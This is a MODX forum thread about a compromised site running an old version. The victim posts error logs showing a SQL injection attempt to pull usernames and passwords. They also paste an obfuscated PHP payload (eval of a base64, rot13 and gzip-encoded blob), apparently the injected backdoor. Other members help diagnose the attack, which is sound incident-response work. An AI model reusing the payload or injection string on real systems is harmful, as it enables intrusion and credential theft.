We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
    • 36604
    • 268 Posts
    Hi,
    3 Files have been injected in my assets/ folder.
    it's hidden php.
    and here's the modx error log excerpt that could be in relationship with the attack.
    Anyone could have an idea.

    Ok I know I should have upgrade to 2.2.14 but this site is still 2.2.6

    thank you

    [2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Error 42S22 executing statement: 
    Array
    (
        [0] => 42S22
        [1] => 1054
        [2] => Unknown column 'modContext.rank%60 IN (666) UNION SELECT id,username,password FR' in 'where clause'
    )
    
    [2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
    [2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Could not load context: mgr
    [2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
    <b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />
    
    [2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Error 42S22 executing statement: 
    Array
    (
        [0] => 42S22
        [1] => 1054
        [2] => Unknown column 'modContext.rank%60 IN (666) UNION SELECT id,username,password FR' in 'where clause'
    )
    
    [2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
    [2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Could not load context: mgr
    [2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
    <b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />
    
    [2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Error 42S22 executing statement: 
    Array
    (
        [0] => 42S22
        [1] => 1054
        [2] => Unknown column 'modContext.rank%60 IN (666) UNION SELECT id,username,password FR' in 'where clause'
    )
    
    [2014-06-11 23:04:32] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
    [2014-06-11 23:04:33] (ERROR @ /connectors/element/index.php) Could not load context: mgr
    [2014-06-11 23:04:33] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
    <b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />
    
    [2014-06-12 12:36:05] (ERROR @ /connectors/system/settings.php) Could not prepare context: asdasdas
    [2014-06-12 12:36:05] (ERROR @ /connectors/system/settings.php) Could not load context: mgr
    [2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
    [2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not load context: mgr
    [2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
    <b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />
    
    [2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
    [2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not load context: mgr
    [2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
    <b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />
    
    [2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not prepare context: Array
    [2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) Could not load context: mgr
    [2014-06-12 12:36:05] (ERROR @ /connectors/element/index.php) [OnInitCulture]<br />
    <b>Warning</b>:  Illegal offset type in isset or empty in <b>/home/dzineo/www/core/model/modx/modx.class.php</b> on line <b>2208</b><br />
    
    
      • 28042 ☆ A M B ☆
      • 24,524 Posts
      There is an exploit becoming common where malicious .php files are inserted into various directories. I had one Evo site that I don't really maintain any more get this. As a favor to the former client, I upgraded, then scanned the file system for older files, and found two which I removed, one in the site root and one in the /assets/ directory. Both were dated June 3. I also changed all passwords and usernames where possible (including FTP and CPanel), and deleted all unused Manager users. This site did have the older version of AjaxSearch, which is probably how it got compromised. I removed AjaxSearch from all of the Evo sites that I do maintain some time ago, and none of them, nor any of my Revo sites, have been compromised (yet!).

      In some of the cases we've been hearing about, especially where the site is quickly re-infected, I suspect a user of having a compromised local machine, with password-searching or keylogging inserted. In such a case, all the cleanup and changing of passwords in the world won't help. Nor will it help if the server itself has been compromised.
        Studying MODX in the desert - http://sottwell.com
        Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
        Join the Slack Community - http://modx.org
        • 36604
        • 268 Posts
        Quote from: sottwell at Jun 12, 2014, 01:38 PM
        There is an exploit becoming common where malicious .php files are inserted into various directories. I had one Evo site that I don't really maintain any more get this. As a favor to the former client, I upgraded, then scanned the file system for older files, and found two which I removed, one in the site root and one in the /assets/ directory. I also changed all passwords and usernames where possible (including FTP and CPanel), and deleted all unused Manager users. This site did have the older version of AjaxSearch, which is probably how it got compromised. I removed AjaxSearch from all of the Evo sites that I do maintain some time ago, and none of them, nor any of my Revo sites, have been compromised (yet!).

        In some of the cases we've been hearing about, especially where the site is quickly re-infected, I suspect a user of having a compromised local machine, with password-searching or keylogging inserted. In such a case, all the cleanup and changing of passwords in the world won't help. Nor will it help if the server itself has been compromised.
        Thank you.
        But I have not AjaxSearch on Revo, only AdvancedSearch (which have, maybe, a comparable issue...?..)
        This is the very case on one of my Revo.
          • 28042 ☆ A M B ☆
          • 24,524 Posts
          I was using that as an example. Indeed, Revo does not have AjaxSearch. The principle is the same; somebody has found a vector for inserting malicious .php files at various points in the file system. Exactly what that vector is may be different in different cases.
            Studying MODX in the desert - http://sottwell.com
            Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
            Join the Slack Community - http://modx.org
            • 36604
            • 268 Posts
            ok.
            So the log does not give usefull clues?
              • 28042 ☆ A M B ☆
              • 24,524 Posts
              Looking at those error messages, it looks like there's an SQL injection in play.
                  [2] => Unknown column 'modContext.rank%60 IN (666) UNION SELECT id,username,password FR' in 'where clause'

              That %60 looks like a botched attempt at injecting something into one of the core MODX queries, in order to return the username and password. It's unfortunate that the offending query is truncated in the error message.
                Studying MODX in the desert - http://sottwell.com
                Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
                Join the Slack Community - http://modx.org
                • 36604
                • 268 Posts
                hmmm. that's what I'm affraid of...

                here's the malicious code (in case someone could reverse it):
                <?php
                eval(gzuncompress(str_rot13(base64_decode("a5zNPHhK21eSn+FKZzyceDvxAzI5e+6FQMI1QeAcEkt5c84MsDpPd9tNcVarB4YJ/Pet6ofUd7XEI/furD8QW11dXV1d7y7F8e0kIf+kgXhaT+eGpus/1tecMFVF8mg8JfjZJXr42t5Mxx986PRxMhVQ+LU8aZ5Cg6+locPx/oEYwq+lsYPx8Ws6c3D8eHZnbbY/GvOZ7Hh28ORnbWfyfYKD4nh2a2fy/ftrNMVu8bU0/Hp89kigc19ukI0O375y/5K3cZJSRBin1CWH0+kp2c/SBQ1Fz7FGLwzIkqaL0FoE8ENOvX8+PbR+358cjRD7tZ1rjkttOEcgDo6+jieMPteb0yR675CP/T4JwpRry8inWEsM1r6Hw9EpcPRRZJiGQeiTWxonQJGJFAS0tmONrcFJ+UNjcZOPeRo2Pwpu9SAlaZrG3miWRRNtYOxn/H13Wv9kKmsppvWn9xHVj4OBHo+/f50eqqDHNJinCwMJWdxcO7UJDZzQ9YJsA9PH31TW+RlgH50cjA8Qvx1Svjis4V1/tU31dG687HSxz9BEt1Efzv9lZfbtYH+6z7eyzPzUi+w4HbJsVYiByL/ZflNWCttaCMCR31D3ntzQ++EtG4h5LzaR+zdxmTUZ7R/vn7HV+NcSVhzmy9HxS3UPfpWSR0MwXUOSMCVzBCQ0BoFAFAFoY/MCQYJ/vrVwEtMkzG+HPgSZ75fIUKmCbCBrGwLpLk6g6s7/vrBGsgiTZ4hNT+yYkhWV68L8NPxxTdqOcPu+Ycl8tpWGsDCD7eDyPVNR16CkdlntJd9sGsYoJG6WU0zatO265W6mlWOEaLs+tXAbpBBHrrSTF3pk5s3zzWQw+LQjR+MESKLNznuPzHk/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IM+9QAOS+FpGzDaoavoQf85YqD0Mnw/8jh/UnsJlrpSxXLLm/4cLsuBFPJ3j445AUdvh+8H/xXOueBatfFsNxXEl88PIl1MJkcD7cGm4PN/syLEgZgdOnCwveZMI/L5guA3m8D1yvfW8KhuDDjA3FD7L9esUZlijL+6+bHoVyaKf3HJL336V4RkwWYef2AWSOee8H25g5JKecx8qPvgM+Ot/8ym81prsMYQWl7K7qDLAQ7Q9hGbnk+DjlFiGn+F7zaE+U="))));
                
                  • 28042 ☆ A M B ☆
                  • 24,524 Posts
                  It's useful in that we know that there is SQL injection being attempted. That's why we have security updates. If you don't upgrade when a security update is release, you're leaving your site open to attack.
                    Studying MODX in the desert - http://sottwell.com
                    Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
                    Join the Slack Community - http://modx.org
                    • 36604
                    • 268 Posts
                    yes, for sure. It was a matter of time for my own site.. I'll try to take care of upgrading it.
                      • 28042 ☆ A M B ☆
                      • 24,524 Posts
                      Fast and easy upgrade. Get this install.php script, put it in your site's root and run it from the web browser. It offers a number of versions, Evo and Revo, takes care of downloading and unzipping the version you select, then opens the setup.
                        Studying MODX in the desert - http://sottwell.com
                        Tips and Tricks from the MODX Forums and Slack Channels - http://modxcookbook.com
                        Join the Slack Community - http://modx.org